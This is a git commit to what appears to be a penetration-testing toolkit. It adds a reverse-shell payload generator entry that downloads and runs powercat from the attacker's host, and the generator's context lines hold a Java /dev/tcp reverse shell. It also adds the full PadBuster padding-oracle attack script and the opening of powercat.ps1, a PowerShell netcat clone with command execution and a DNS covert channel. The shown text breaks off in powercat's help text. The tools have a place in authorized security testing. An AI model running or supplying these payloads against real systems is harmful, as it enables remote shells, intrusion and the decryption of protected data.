Powercat + Padbuster

This commit is contained in:
Roman Hergenreder 2020-04-09 10:36:28 +02:00
parent 9dfea9e75c
commit e3ad4d3e53
3 changed files with 1840 additions and 1 deletions

@ -33,6 +33,8 @@ def generatePayload(type, local_address, port):
return "r = Runtime.getRuntime()\np = r.exec([\"/bin/bash\",\"-c\",\"exec 5<>/dev/tcp/%s/%d;cat <&5 | while read line; do \\$line 2>&5 >&5; done\"] as String[])\np.waitFor()" % (local_address, port)
elif type == "xterm":
return "xterm -display %s:1" % (local_address)
elif type == "powercat" or type == "powershell":
return "powershell -c \"IEX(New-Object System.Net.WebClient).DownloadString('http://%s/powercat.ps1');powercat -c %s -p %d -e cmd\")" % (local_address, local_address, port)
if __name__ == "__main__":
@ -48,7 +50,7 @@ if __name__ == "__main__":
if payload is None:
print("Unknown payload type: %s" % payload_type)
print("Supported types: bash, perl, python[2|3], php, ruby, netcat|nc, java, xterm")
print("Supported types: bash, perl, python[2|3], php, ruby, netcat|nc, java, xterm, powershell")
exit(1)
tty = "python -c 'import pty; pty.spawn(\"/bin/bash\")'"

889
padBuster.pl Normal file

@ -0,0 +1,889 @@
#!/usr/bin/perl
#
# PadBuster v0.3.3 - Automated script for performing Padding Oracle attacks
# Brian Holyfield - Gotham Digital Science (labs@gdssecurity.com)
#
# Credits to J.Rizzo and T.Duong for providing proof of concept web exploit
# techniques and S.Vaudenay for initial discovery of the attack. Credits also
# to James M. Martin (research@esptl.com) for sharing proof of concept exploit
# code for performing various brute force attack techniques, and wireghoul (Eldar
# Marcussen) for making code quality improvements.
#
use LWP::UserAgent;
use strict;
use warnings;
use Getopt::Std;
use MIME::Base64;
use URI::Escape;
use Getopt::Long;
use Time::HiRes qw( gettimeofday );
use Compress::Zlib;
use Crypt::SSLeay;
# Set defaults with $variable = value
my $logFiles;
my $post;
my $encoding = 0;
my $headers;
my $cookie;
my $error;
my $prefix;
my $intermediaryInput;
my $cipherInput;
my $plainTextInput;
my $encodedPlainTextInput;
my $noEncodeOption;
my $superVerbose;
my $proxy;
my $proxyAuth;
my $noIv;
my $auth;
my $resumeBlock;
my $interactive = 0;
my $bruteForce;
my $ignoreContent;
my $useBody;
my $verbose;
GetOptions( "log" => \$logFiles,
"post=s" => \$post,
"encoding=s" => \$encoding,
"headers=s" => \$headers,
"cookies=s" => \$cookie,
"error=s" => \$error,
"prefix=s" => \$prefix,
"intermediate=s" => \$intermediaryInput,
"ciphertext=s" => \$cipherInput,
"plaintext=s" => \$plainTextInput,
"encodedtext=s" => \$encodedPlainTextInput,
"noencode" => \$noEncodeOption,
"veryverbose" => \$superVerbose,
"proxy=s" => \$proxy,
"proxyauth=s" => \$proxyAuth,
"noiv" => \$noIv,
"auth=s" => \$auth,
"resume=s" => \$resumeBlock,
"interactive" => \$interactive,
"bruteforce" => \$bruteForce,
"ignorecontent" => \$ignoreContent,
"usebody" => \$useBody,
"verbose" => \$verbose);
print "\n+-------------------------------------------+\n";
print "| PadBuster - v0.3.3 |\n";
print "| Brian Holyfield - Gotham Digital Science |\n";
print "| labs\@gdssecurity.com |\n";
print "+-------------------------------------------+\n";
if ($#ARGV < 2) {
die "
Use: padBuster.pl URL EncryptedSample BlockSize [options]
Where: URL = The target URL (and query string if applicable)
EncryptedSample = The encrypted value you want to test. Must
also be present in the URL, PostData or a Cookie
BlockSize = The block size being used by the algorithm
Options:
-auth [username:password]: HTTP Basic Authentication
-bruteforce: Perform brute force against the first block
-ciphertext [Bytes]: CipherText for Intermediate Bytes (Hex-Encoded)
-cookies [HTTP Cookies]: Cookies (name1=value1; name2=value2)
-encoding [0-4]: Encoding Format of Sample (Default 0)
0=Base64, 1=Lower HEX, 2=Upper HEX
3=.NET UrlToken, 4=WebSafe Base64
-encodedtext [Encoded String]: Data to Encrypt (Encoded)
-error [Error String]: Padding Error Message
-headers [HTTP Headers]: Custom Headers (name1::value1;name2::value2)
-interactive: Prompt for confirmation on decrypted bytes
-intermediate [Bytes]: Intermediate Bytes for CipherText (Hex-Encoded)
-log: Generate log files (creates folder PadBuster.DDMMYY)
-noencode: Do not URL-encode the payload (encoded by default)
-noiv: Sample does not include IV (decrypt first block)
-plaintext [String]: Plain-Text to Encrypt
-post [Post Data]: HTTP Post Data String
-prefix [Prefix]: Prefix bytes to append to each sample (Encoded)
-proxy [address:port]: Use HTTP/S Proxy
-proxyauth [username:password]: Proxy Authentication
-resume [Block Number]: Resume at this block number
-usebody: Use response body content for response analysis phase
-verbose: Be Verbose
-veryverbose: Be Very Verbose (Debug Only)
";}
# Ok, if we've made it this far we are ready to begin..
my $url = $ARGV[0];
my $sample = $ARGV[1];
my $blockSize = $ARGV[2];
if ($url eq "" || $sample eq "" || $blockSize eq "") {
print "\nERROR: The URL, EncryptedSample and BlockSize cannot be null.\n";
exit();
}
# Hard Coded Inputs
#$post = "";
#$sample = "";
my $method = $post ? "POST" : "GET";
# These are file related variables
my $dirName = "PadBuster." . &getTime("F");
my $dirSlash = "/";
my $dirCmd = "mkdir ";
if (defined($ENV{'OS'})) {
if ($ENV{OS} =~ /Windows/) {
$dirSlash = "\\";
$dirCmd = "md ";
}
}
my $dirExists = 0;
my $printStats = 0;
my $requestTracker = 0;
my $timeTracker = 0;
if ($encoding < 0 || $encoding > 4) {
print "\nERROR: Encoding must be a value between 0 and 4\n";
exit();
}
my $encodingFormat = $encoding ? $encoding : 0;
my $encryptedBytes = $sample;
my $totalRequests = 0;
# See if the sample needs to be URL decoded, otherwise don't (the plus from B64 will be a problem)
if ($sample =~ /\%/) {
$encryptedBytes = &uri_unescape($encryptedBytes)
}
# Prep the sample for regex use
$sample = quotemeta $sample;
# Now decode
$encryptedBytes = &myDecode($encryptedBytes, $encodingFormat);
if ( (length($encryptedBytes) % $blockSize) > 0) {
print "\nERROR: Encrypted Bytes must be evenly divisible by Block Size ($blockSize)\n";
print " Encrypted sample length is ".int(length($encryptedBytes)).". Double check the Encoding and Block Size.\n";
exit();
}
# If no IV, then append nulls as the IV (only if decrypting)
if ($noIv && !$bruteForce && !$plainTextInput) {
$encryptedBytes = "\x00" x $blockSize . $encryptedBytes;
}
# PlainTextBytes is where the complete decrypted sample will be stored (decrypt only)
my $plainTextBytes;
# This is a bool to make sure we know where to replace the sample string
my $wasSampleFound = 0;
# ForgedBytes is where the complete forged sample will be stored (encrypt only)
my $forgedBytes;
# Isolate the IV into a separate byte array
my $ivBytes = substr($encryptedBytes, 0, $blockSize);
# Declare some optional elements for storing the results of the first test iteration
# to help the user if they don't know what the padding error looks like
my @oracleCantidates;
my $oracleSignature = "";
my %oracleGuesses;
my %responseFileBuffer;
# The block count should be the sample divided by the blocksize
my $blockCount = int(length($encryptedBytes)) / int($blockSize);
if (!$bruteForce && !$plainTextInput && $blockCount < 2) {
print "\nERROR: There is only one block. Try again using the -noiv option.\n";
exit();
}
# The attack works by sending in a real cipher text block along with a fake block in front of it
# You only ever need to send two blocks at a time (one real one fake) and just work through
# the sample one block at a time
# First, re-issue the original request to let the user know if something is potentially broken
my ($status, $content, $location, $contentLength) = &makeRequest($method, $url, $post, $cookie);
&myPrint("\nINFO: The original request returned the following",0);
&myPrint("[+] Status: $status",0);
&myPrint("[+] Location: $location",0);
&myPrint("[+] Content Length: $contentLength\n",0);
&myPrint("[+] Response: $content\n",1);
$plainTextInput = &myDecode($encodedPlainTextInput,$encodingFormat) if $encodedPlainTextInput;
if ($bruteForce) {
&myPrint("INFO: Starting PadBuster Brute Force Mode",0);
my $bfAttempts = 0;
print "INFO: Resuming previous brute force at attempt $resumeBlock\n" if $resumeBlock;
# Only loop through the first 3 bytes...this should be enough as it
# requires 16.5M+ requests
my @bfSamples;
my $sampleString = "\x00" x 2;
for my $c (0 ... 255) {
substr($sampleString, 0, 1, chr($c));
for my $d (0 ... 255) {
substr($sampleString, 1, 1, chr($d));
push (@bfSamples, $sampleString);
}
}
foreach my $testVal (@bfSamples) {
my $complete = 0;
while ($complete == 0) {
my $repeat = 0;
for my $b (0 ... 255) {
$bfAttempts++;
if ( $resumeBlock && ($bfAttempts < ($resumeBlock - ($resumeBlock % 256)+1)) ) {
#SKIP
} else {
my $testBytes = chr($b).$testVal;
$testBytes .= "\x00" x ($blockSize-3);
my $combinedBf = $testBytes;
$combinedBf .= $encryptedBytes;
$combinedBf = &myEncode($combinedBf, $encoding);
# Add the Query String to the URL
my ($testUrl, $testPost, $testCookies) = &prepRequest($url, $post, $cookie, $sample, $combinedBf);
# Issue the request
my ($status, $content, $location, $contentLength) = &makeRequest($method, $testUrl, $testPost, $testCookies);
my $signatureData = "$status\t$contentLength\t$location";
$signatureData = "$status\t$contentLength\t$location\t$content" if $useBody;
if ($oracleSignature eq "") {
&myPrint("[+] Starting response analysis...\n",0) if ($b ==0);
$oracleGuesses{$signatureData}++;
$responseFileBuffer{$signatureData} = "Status: $status\nLocation: $location\nContent-Length: $contentLength\nContent:\n$content";
if ($b == 255) {
&myPrint("*** Response Analysis Complete ***\n",0);
&determineSignature();
$printStats = 1;
$timeTracker = 0;
$requestTracker = 0;
$repeat = 1;
$bfAttempts = 0;
}
}
if ($oracleSignature ne "" && $oracleSignature ne $signatureData) {
&myPrint("\nAttempt $bfAttempts - Status: $status - Content Length: $contentLength\n$testUrl\n",0);
&writeFile("Brute_Force_Attempt_".$bfAttempts.".txt", "URL: $testUrl\nPost Data: $testPost\nCookies: $testCookies\n\nStatus: $status\nLocation: $location\nContent-Length: $contentLength\nContent:\n$content");
}
}
}
($repeat == 1) ? ($complete = 0) : ($complete = 1);
}
}
} elsif ($plainTextInput) {
# ENCRYPT MODE
&myPrint("INFO: Starting PadBuster Encrypt Mode",0);
# The block count will be the plaintext divided by blocksize (rounded up)
my $blockCount = int(((length($plainTextInput)+1)/$blockSize)+0.99);
&myPrint("[+] Number of Blocks: ".$blockCount."\n",0);
my $padCount = ($blockSize * $blockCount) - length($plainTextInput);
$plainTextInput.= chr($padCount) x $padCount;
# SampleBytes is the encrypted text you want to derive intermediate values for, so
# copy the current ciphertext block into sampleBytes
# Note, nulls are used if not provided and the intermediate values are brute forced
$forgedBytes = $cipherInput ? &myDecode($cipherInput,1) : "\x00" x $blockSize;
my $sampleBytes = $forgedBytes;
for (my $blockNum = $blockCount; $blockNum > 0; $blockNum--) {
# IntermediaryBytes is where the intermediate bytes produced by the algorithm are stored
my $intermediaryBytes;
if ($intermediaryInput && $blockNum == $blockCount) {
$intermediaryBytes = &myDecode($intermediaryInput,2);
} else {
$intermediaryBytes = &processBlock($sampleBytes);
}
# Now XOR the intermediate bytes with the corresponding bytes from the plain-text block
# This will become the next ciphertext block (or IV if the last one)
$sampleBytes = $intermediaryBytes ^ substr($plainTextInput, (($blockNum-1) * $blockSize), $blockSize);
$forgedBytes = $sampleBytes.$forgedBytes;
&myPrint("\nBlock ".($blockNum)." Results:",0);
&myPrint("[+] New Cipher Text (HEX): ".&myEncode($sampleBytes,1),0);
&myPrint("[+] Intermediate Bytes (HEX): ".&myEncode($intermediaryBytes,1)."\n",0);
}
$forgedBytes = &myEncode($forgedBytes, $encoding);
chomp($forgedBytes);
} else {
# DECRYPT MODE
&myPrint("INFO: Starting PadBuster Decrypt Mode",0);
if ($resumeBlock) {
&myPrint("INFO: Resuming previous exploit at Block $resumeBlock\n",0);
} else {
$resumeBlock = 1
}
# Assume that the IV is included in our sample and that the first block is the IV
for (my $blockNum = ($resumeBlock+1); $blockNum <= $blockCount; $blockNum++) {
# Since the IV is the first block, our block count is artificially inflated by one
&myPrint("*** Starting Block ".($blockNum-1)." of ".($blockCount-1)." ***\n",0);
# SampleBytes is the encrypted text you want to break, so
# lets copy the current ciphertext block into sampleBytes
my $sampleBytes = substr($encryptedBytes, ($blockNum * $blockSize - $blockSize), $blockSize);
# IntermediaryBytes is where the the intermediary bytes produced by the algorithm are stored
my $intermediaryBytes = &processBlock($sampleBytes);
# DecryptedBytes is where the decrypted block is stored
my $decryptedBytes;
# Now we XOR the decrypted byte with the corresponding byte from the previous block
# (or IV if we are in the first block) to get the actual plain-text
$blockNum == 2 ? $decryptedBytes = $intermediaryBytes ^ $ivBytes : $decryptedBytes = $intermediaryBytes ^ substr($encryptedBytes, (($blockNum - 2) * $blockSize), $blockSize);
&myPrint("\nBlock ".($blockNum-1)." Results:",0);
&myPrint("[+] Cipher Text (HEX): ".&myEncode($sampleBytes,1),0);
&myPrint("[+] Intermediate Bytes (HEX): ".&myEncode($intermediaryBytes,1),0);
&myPrint("[+] Plain Text: $decryptedBytes\n",0);
$plainTextBytes = $plainTextBytes.$decryptedBytes;
}
}
&myPrint("-------------------------------------------------------",0);
&myPrint("** Finished ***\n", 0);
if ($plainTextInput) {
&myPrint("[+] Encrypted value is: ".&uri_escape($forgedBytes),0);
} else {
&myPrint("[+] Decrypted value (ASCII): $plainTextBytes\n",0);
&myPrint("[+] Decrypted value (HEX): ".&myEncode($plainTextBytes,2)."\n", 0);
&myPrint("[+] Decrypted value (Base64): ".&myEncode($plainTextBytes,0)."\n", 0);
}
&myPrint("-------------------------------------------------------\n",0);
sub determineSignature {
# Help the user detect the oracle response if an error string was not provided
# This logic will automatically suggest the response pattern that occured most often
# during the test as this is the most likeley one
my @sortedGuesses = sort {$oracleGuesses{$a} <=> $oracleGuesses{$b}} keys %oracleGuesses;
&myPrint("The following response signatures were returned:\n",0);
&myPrint("-------------------------------------------------------",0);
if ($useBody) {
&myPrint("ID#\tFreq\tStatus\tLength\tChksum\tLocation",0);
} else {
&myPrint("ID#\tFreq\tStatus\tLength\tLocation",0);
}
&myPrint("-------------------------------------------------------",0);
my $id = 1;
foreach (@sortedGuesses) {
my $line = $id;
($id == $#sortedGuesses+1 && $#sortedGuesses != 0) ? $line.= " **" : $line.="";
my @sigFields = split("\t", $_);
$line .= "\t$oracleGuesses{$_}\t$sigFields[0]\t$sigFields[1]";
$useBody ? ( $line .= "\t".unpack( '%32A*', $sigFields[3] ) ) : $line.="";
$line .= "\t$sigFields[2]";
&myPrint($line,0);
&writeFile("Response_Analysis_Signature_".$id.".txt", $responseFileBuffer{$_});
$id++;
}
&myPrint("-------------------------------------------------------",0);
if ($#sortedGuesses == 0 && !$bruteForce) {
&myPrint("\nERROR: All of the responses were identical.\n",0);
&myPrint("Double check the Block Size and try again.",0);
exit();
} else {
my $responseNum = &promptUser("\nEnter an ID that matches the error condition\nNOTE: The ID# marked with ** is recommended");
&myPrint("\nContinuing test with selection $responseNum\n",0);
$oracleSignature = $sortedGuesses[$responseNum-1];
}
}
sub prepRequest {
my ($pUrl, $pPost, $pCookie, $pSample, $pTestBytes) = @_;
# Prepare the request
my $testUrl = $pUrl;
my $wasSampleFound = 0;
if ($pUrl =~ /$pSample/) {
$testUrl =~ s/$pSample/$pTestBytes/;
$wasSampleFound = 1;
}
my $testPost = "";
if ($pPost) {
$testPost = $pPost;
if ($pPost =~ /$pSample/) {
$testPost =~ s/$pSample/$pTestBytes/;
$wasSampleFound = 1;
}
}
my $testCookies = "";
if ($pCookie) {
$testCookies = $pCookie;
if ($pCookie =~ /$pSample/) {
$testCookies =~ s/$pSample/$pTestBytes/;
$wasSampleFound = 1;
}
}
if ($wasSampleFound == 0) {
&myPrint("ERROR: Encrypted sample was not found in the test request",0);
exit();
}
return ($testUrl, $testPost, $testCookies);
}
sub processBlock {
my ($sampleBytes) = @_;
my $analysisMode;
# Analysis mode is either 0 (response analysis) or 1 (exploit)
$analysisMode = (!$error && $oracleSignature eq "") ? 0 : 1;
# The return value of this subroutine is the intermediate text for the block
my $returnValue;
my $complete = 0;
my $autoRetry = 0;
my $hasHit = 0;
while ($complete == 0) {
# Reset the return value
$returnValue = "";
my $repeat = 0;
# TestBytes are the fake bytes that are pre-pending to the cipher test for the padding attack
my $testBytes = "\x00" x $blockSize;
my $falsePositiveDetector = 0;
# Work on one byte at a time, starting with the last byte and moving backwards
OUTERLOOP:
for (my $byteNum = $blockSize - 1; $byteNum >= 0; $byteNum--) {
INNERLOOP:
for (my $i = 255; $i >= 0; $i--) {
# Fuzz the test byte
substr($testBytes, $byteNum, 1, chr($i));
# Combine the test bytes and the sample
my $combinedTestBytes = $testBytes.$sampleBytes;
if ($prefix) {
$combinedTestBytes = &myDecode($prefix,$encodingFormat).$combinedTestBytes
}
$combinedTestBytes = &myEncode($combinedTestBytes, $encodingFormat);
chomp($combinedTestBytes);
if (! $noEncodeOption) {
$combinedTestBytes = &uri_escape($combinedTestBytes);
}
my ($testUrl, $testPost, $testCookies) = &prepRequest($url, $post, $cookie, $sample, $combinedTestBytes);
# Ok, now make the request
my ($status, $content, $location, $contentLength) = &makeRequest($method, $testUrl, $testPost, $testCookies);
my $signatureData = "$status\t$contentLength\t$location";
$signatureData = "$status\t$contentLength\t$location\t$content" if $useBody;
# If this is the first block and there is no padding error message defined, then cycle through
# all possible requests and let the user decide what the padding error behavior is.
if ($analysisMode == 0) {
&myPrint("INFO: No error string was provided...starting response analysis\n",0) if ($i == 255);
$oracleGuesses{$signatureData}++;
$responseFileBuffer{$signatureData} = "URL: $testUrl\nPost Data: $testPost\nCookies: $testCookies\n\nStatus: $status\nLocation: $location\nContent-Length: $contentLength\nContent:\n$content";
if ($byteNum == $blockSize - 1 && $i == 0) {
&myPrint("*** Response Analysis Complete ***\n",0);
&determineSignature();
$analysisMode = 1;
$repeat = 1;
last OUTERLOOP;
}
}
my $continue = "y";
if (($error && $content !~ /$error/) || ($oracleSignature ne "" && $oracleSignature ne $signatureData)) {
# This is for autoretry logic (only works on the first byte)
if ($autoRetry == 1 && ($byteNum == ($blockSize - 1) ) && $hasHit == 0 ) {
$hasHit++;
} else {
# If there was no padding error, then it worked
&myPrint("[+] Success: (".abs($i-256)."/256) [Byte ".($byteNum+1)."]",0);
&myPrint("[+] Test Byte:".&uri_escape(substr($testBytes, $byteNum, 1)),1);
# If continually getting a hit on attempt zero, then something is probably wrong
$falsePositiveDetector++ if ($i == 255);
if ($interactive == 1) {
$continue = &promptUser("Do you want to use this value (Yes/No/All)? [y/n/a]","",1);
}
if ($continue eq "y" || $continue eq "a") {
$interactive = 0 if ($continue eq "a");
# Next, calculate the decrypted byte by XORing it with the padding value
my ($currentPaddingByte, $nextPaddingByte);
# These variables could allow for flexible padding schemes (for now PCKS)
# For PCKS#7, the padding block is equal to chr($blockSize - $byteNum)
$currentPaddingByte = chr($blockSize - $byteNum);
$nextPaddingByte = chr($blockSize - $byteNum + 1);
my $decryptedByte = substr($testBytes, $byteNum, 1) ^ $currentPaddingByte;
&myPrint("[+] XORing with Padding Char, which is ".&uri_escape($currentPaddingByte),1);
$returnValue = $decryptedByte.$returnValue;
&myPrint("[+] Decrypted Byte is: ".&uri_escape($decryptedByte),1);
# Finally, update the test bytes in preparation for the next round, based on the padding used
for (my $k = $byteNum; $k < $blockSize; $k++) {
# First, XOR the current test byte with the padding value for this round to recover the decrypted byte
substr($testBytes, $k, 1,(substr($testBytes, $k, 1) ^ $currentPaddingByte));
# Then, XOR it again with the padding byte for the next round
substr($testBytes, $k, 1,(substr($testBytes, $k, 1) ^ $nextPaddingByte));
}
last INNERLOOP;
}
}
}
## TODO: Combine these two blocks?
if ($i == 0 && $analysisMode == 1) {
# End of the road with no success. We should probably try again.
&myPrint("ERROR: No matching response on [Byte ".($byteNum+1)."]",0);
if ($autoRetry == 0) {
$autoRetry = 1;
&myPrint(" Automatically trying one more time...",0);
$repeat = 1;
last OUTERLOOP;
} else {
if (($byteNum == $blockSize - 1) && ($error)) {
&myPrint("\nAre you sure you specified the correct error string?",0);
&myPrint("Try re-running without the -e option to perform a response analysis.\n",0);
}
$continue = &promptUser("Do you want to start this block over? (Yes/No)? [y/n/a]","",1);
if ($continue ne "n") {
&myPrint("INFO: Switching to interactive mode",0);
$interactive = 1;
$repeat = 1;
last OUTERLOOP;
}
}
}
if ($falsePositiveDetector == $blockSize) {
&myPrint("\n*** ERROR: It appears there are false positive results. ***\n",0);
&myPrint("HINT: The most likely cause for this is an incorrect error string.\n",0);
if ($error) {
&myPrint("[+] Check the error string you provided and try again, or consider running",0);
&myPrint("[+] without an error string to perform an automated response analysis.\n",0);
} else {
&myPrint("[+] You may want to consider defining a custom padding error string",0);
&myPrint("[+] instead of the automated response analysis.\n",0);
}
$continue = &promptUser("Do you want to start this block over? (Yes/No)? [y/n/a]","",1);
if ($continue eq "y") {
&myPrint("INFO: Switching to interactive mode",0);
$interactive = 1;
$repeat = 1;
last OUTERLOOP;
}
}
}
}
($repeat == 1) ? ($complete = 0) : ($complete = 1);
}
return $returnValue;
}
sub makeRequest {
my ($method, $url, $data, $cookie) = @_;
my ($noConnect, $lwp, $status, $content, $req, $location, $contentLength);
my $numRetries = 0;
$data ='' unless $data;
$cookie='' unless $cookie;
$requestTracker++;
do {
#Quick hack to avoid hostname in URL when using a proxy with SSL (this will get re-set later if needed)
$ENV{HTTPS_PROXY} = "";
$lwp = LWP::UserAgent->new(env_proxy => 1,
keep_alive => 1,
timeout => 30,
requests_redirectable => [],
);
$req = new HTTP::Request $method => $url;
&myPrint("Request:\n$method\n$url\n$data\n$cookie",0) if $superVerbose;
# Add request content for POST and PUTS
if ($data) {
$req->content_type('application/x-www-form-urlencoded');
$req->content($data);
}
if ($proxy) {
my $proxyUrl = "http://";
if ($proxyAuth) {
my ($proxyUser, $proxyPass) = split(":",$proxyAuth);
$ENV{HTTPS_PROXY_USERNAME} = $proxyUser;
$ENV{HTTPS_PROXY_PASSWORD} = $proxyPass;
$proxyUrl .= $proxyAuth."@";
}
$proxyUrl .= $proxy;
$lwp->proxy(['http'], "http://".$proxy);
$ENV{HTTPS_PROXY} = "http://".$proxy;
}
if ($auth) {
my ($httpuser, $httppass) = split(/:/,$auth);
$req->authorization_basic($httpuser, $httppass);
}
# If cookies are defined, add a COOKIE header
if (! $cookie eq "") {
$req->header(Cookie => $cookie);
}
if ($headers) {
my @customHeaders = split(/;/i,$headers);
for (my $i = 0; $i <= $#customHeaders; $i++) {
my ($headerName, $headerVal) = split(/\::/i,$customHeaders[$i]);
$req->header($headerName, $headerVal);
}
}
my $startTime = &gettimeofday();
my $response = $lwp->request($req);
my $endTime = &gettimeofday();
$timeTracker = $timeTracker + ($endTime - $startTime);
if ($printStats == 1 && $requestTracker % 250 == 0) {
print "[+] $requestTracker Requests Issued (Avg Request Time: ".(sprintf "%.3f", $timeTracker/100).")\n";
$timeTracker = 0;
}
# Extract the required attributes from the response
$status = substr($response->status_line, 0, 3);
$content = $response->content;
&myPrint("Response Content:\n$content",0) if $superVerbose;
$location = $response->header("Location");
if (!$location) {
$location = "N/A";
}
#$contentLength = $response->header("Content-Length");
$contentLength = length($content);
my $contentEncoding = $response->header("Content-Encoding");
if ($contentEncoding) {
if ($contentEncoding =~ /GZIP/i ) {
$content = Compress::Zlib::memGunzip($content);
$contentLength = length($content);
}
}
my $statusMsg = $response->status_line;
#myPrint("Status: $statusMsg, Location: $location, Length: $contentLength",1);
if ($statusMsg =~ /Can't connect/) {
print "ERROR: $statusMsg\n Retrying in 10 seconds...\n\n";
$noConnect = 1;
$numRetries++;
sleep 10;
} else {
$noConnect = 0;
$totalRequests++;
}
} until (($noConnect == 0) || ($numRetries >= 15));
if ($numRetries >= 15) {
&myPrint("ERROR: Number of retries has exceeded 15 attempts...quitting.\n",0);
exit;
}
return ($status, $content, $location, $contentLength);
}
sub myPrint {
my ($printData, $printLevel) = @_;
$printData .= "\n";
if (($verbose && $printLevel > 0) || $printLevel < 1 || $superVerbose) {
print $printData;
&writeFile("ActivityLog.txt",$printData);
}
}
sub myEncode {
my ($toEncode, $format) = @_;
return &encodeDecode($toEncode, 0, $format);
}
sub myDecode {
my ($toDecode, $format) = @_;
return &encodeDecode($toDecode, 1, $format);
}
sub encodeDecode {
my ($toEncodeDecode, $oper, $format) = @_;
# Oper: 0=Encode, 1=Decode
# Format: 0=Base64, 1 Hex Lower, 2 Hex Upper, 3=NetUrlToken
my $returnVal = "";
if ($format == 1 || $format == 2) {
# HEX
if ($oper == 1) {
#Decode
#Always convert to lower when decoding)
$toEncodeDecode = lc($toEncodeDecode);
$returnVal = pack("H*",$toEncodeDecode);
} else {
#Encode
$returnVal = unpack("H*",$toEncodeDecode);
if ($format == 2) {
#Uppercase
$returnVal = uc($returnVal)
}
}
} elsif ($format == 3) {
# NetUrlToken
if ($oper == 1) {
$returnVal = &web64Decode($toEncodeDecode,1);
} else {
$returnVal = &web64Encode($toEncodeDecode,1);
}
} elsif ($format == 4) {
# Web64
if ($oper == 1) {
$returnVal = &web64Decode($toEncodeDecode,0);
} else {
$returnVal = &web64Encode($toEncodeDecode,0);
}
} else {
# B64
if ($oper == 1) {
$returnVal = &decode_base64($toEncodeDecode);
} else {
$returnVal = &encode_base64($toEncodeDecode);
$returnVal =~ s/(\r|\n)//g;
}
}
return $returnVal;
}
sub web64Encode {
my ($input, $net) = @_;
# net: 0=No Padding Number, 1=Padding (NetUrlToken)
$input = &encode_base64($input);
$input =~ s/(\r|\n)//g;
$input =~ s/\+/\-/g;
$input =~ s/\//\_/g;
my $count = $input =~ s/\=//g;
$count = 0 if ($count eq "");
$input.=$count if ($net == 1);
return $input;
}
sub web64Decode {
my ($input, $net) = @_;
# net: 0=No Padding Number, 1=Padding (NetUrlToken)
$input =~ s/\-/\+/g;
$input =~ s/\_/\//g;
if ($net == 1) {
my $count = chop($input);
$input = $input.("=" x int($count));
}
return &decode_base64($input);
}
sub promptUser {
my($prompt, $default, $yn) = @_;
my $defaultValue = $default ? "[$default]" : "";
print "$prompt $defaultValue: ";
chomp(my $input = <STDIN>);
$input = $input ? $input : $default;
if ($yn) {
if ($input =~ /^y|n|a$/) {
return $input;
} else {
&promptUser($prompt, $default, $yn);
}
} else {
if ($input =~ /^-?\d/ && $input > 0 && $input < 256) {
return $input;
} else {
&promptUser($prompt, $default);
}
}
}
sub writeFile {
my ($fileName, $fileContent) = @_;
if ($logFiles) {
if ($dirExists != 1) {
system($dirCmd." ".$dirName);
$dirExists = 1;
}
$fileName = $dirName.$dirSlash.$fileName;
open(my $OUTFILE, '>>', $fileName) or die "ERROR: Can't write to file $fileName\n";
print $OUTFILE $fileContent;
close($OUTFILE);
}
}
sub getTime {
my ($format) = @_;
my ($second, $minute, $hour, $day, $month, $year, $weekday, $dayofyear, $isDST) = localtime(time);
my @months = ("JAN","FEB","MAR","APR","MAY","JUN","JUL","AUG","SEP","OCT","NOV","DEC");
my @days = ("SUN","MON","TUE","WED","THU","FRI","SAT");
$month=sprintf("%02d",$month);
$day=sprintf("%02d",$day);
$hour=sprintf("%02d",$hour);
$minute=sprintf("%02d",$minute);
$second=sprintf("%02d", $second);
$year =~ s/^.//;
if ($format eq "F") {
return $day.$months[$month].$year."-".( ($hour * 3600) + ($minute * 60) + ($second) );
} elsif ($format eq "S") {
return $months[$month]." ".$day.", 20".$year." at ".$hour.":".$minute.":".$second;
} else {
return $hour.":".$minute.":".$second;
}
}

948
powercat.ps1 Normal file

@ -0,0 +1,948 @@
function powercat
{
param(
[alias("Client")][string]$c="",
[alias("Listen")][switch]$l=$False,
[alias("Port")][Parameter(Position=-1)][string]$p="",
[alias("Execute")][string]$e="",
[alias("ExecutePowershell")][switch]$ep=$False,
[alias("Relay")][string]$r="",
[alias("UDP")][switch]$u=$False,
[alias("dnscat2")][string]$dns="",
[alias("DNSFailureThreshold")][int32]$dnsft=10,
[alias("Timeout")][int32]$t=60,
[Parameter(ValueFromPipeline=$True)][alias("Input")]$i=$null,
[ValidateSet('Host', 'Bytes', 'String')][alias("OutputType")][string]$o="Host",
[alias("OutputFile")][string]$of="",
[alias("Disconnect")][switch]$d=$False,
[alias("Repeater")][switch]$rep=$False,
[alias("GeneratePayload")][switch]$g=$False,
[alias("GenerateEncoded")][switch]$ge=$False,
[alias("Help")][switch]$h=$False
)
############### HELP ###############
$Help = "
powercat - Netcat, The Powershell Version
Github Repository: https://github.com/besimorhino/powercat
This script attempts to implement the features of netcat in a powershell
script. It also contains extra features such as built-in relays, execute
powershell, and a dnscat2 client.
Usage: powercat [-c or -l] [-p port] [options]
-c <ip> Client Mode. Provide the IP of the system you wish to connect to.
If you are using -dns, specify the DNS Server to send queries to.
-l Listen Mode. Start a listener on the port specified by -p.
-p <port> Port. The port to connect to, or the port to listen on.
-e <proc> Execute. Specify the name of the process to start.
-ep Execute Powershell. Start a pseudo powershell session. You can
declare variables and execute commands, but if you try to enter
another shell (nslookup, netsh, cmd, etc.) the shell will hang.
-r <str> Relay. Used for relaying network traffic between two nodes.
Client Relay Format: -r <protocol>:<ip addr>:<port>
Listener Relay Format: -r <protocol>:<port>
DNSCat2 Relay Format: -r dns:<dns server>:<dns port>:<domain>
-u UDP Mode. Send traffic over UDP. Because it's UDP, the client
must send data before the server can respond.
-dns <domain> DNS Mode. Send traffic over the dnscat2 dns covert channel.
Specify the dns server to -c, the dns port to -p, and specify the
domain to this option, -dns. This is only a client.
Get the server here: https://github.com/iagox86/dnscat2
-dnsft <int> DNS Failure Threshold. This is how many bad packets the client can
recieve before exiting. Set to zero when receiving files, and set high
for more stability over the internet.
-t <int> Timeout. The number of seconds to wait before giving up on listening or
connecting. Default: 60
-i <input> Input. Provide data to be sent down the pipe as soon as a connection is
established. Used for moving files. You can provide the path to a file,
a byte array object, or a string. You can also pipe any of those into
powercat, like 'aaaaaa' | powercat -c 10.1.1.1 -p 80
-o <type> Output. Specify how powercat should return information to the console.
Valid options are 'Bytes', 'String', or 'Host'. Default is 'Host'.
-of <path> Output File. Specify the path to a file to write output to.
-d Disconnect. powercat will disconnect after the connection is established
and the input from -i is sent. Used for scanning.
-rep Repeater. powercat will continually restart after it is disconnected.
Used for setting up a persistent server.
-g Generate Payload. Returns a script as a string which will execute the
powercat with the options you have specified. -i, -d, and -rep will not
be incorporated.
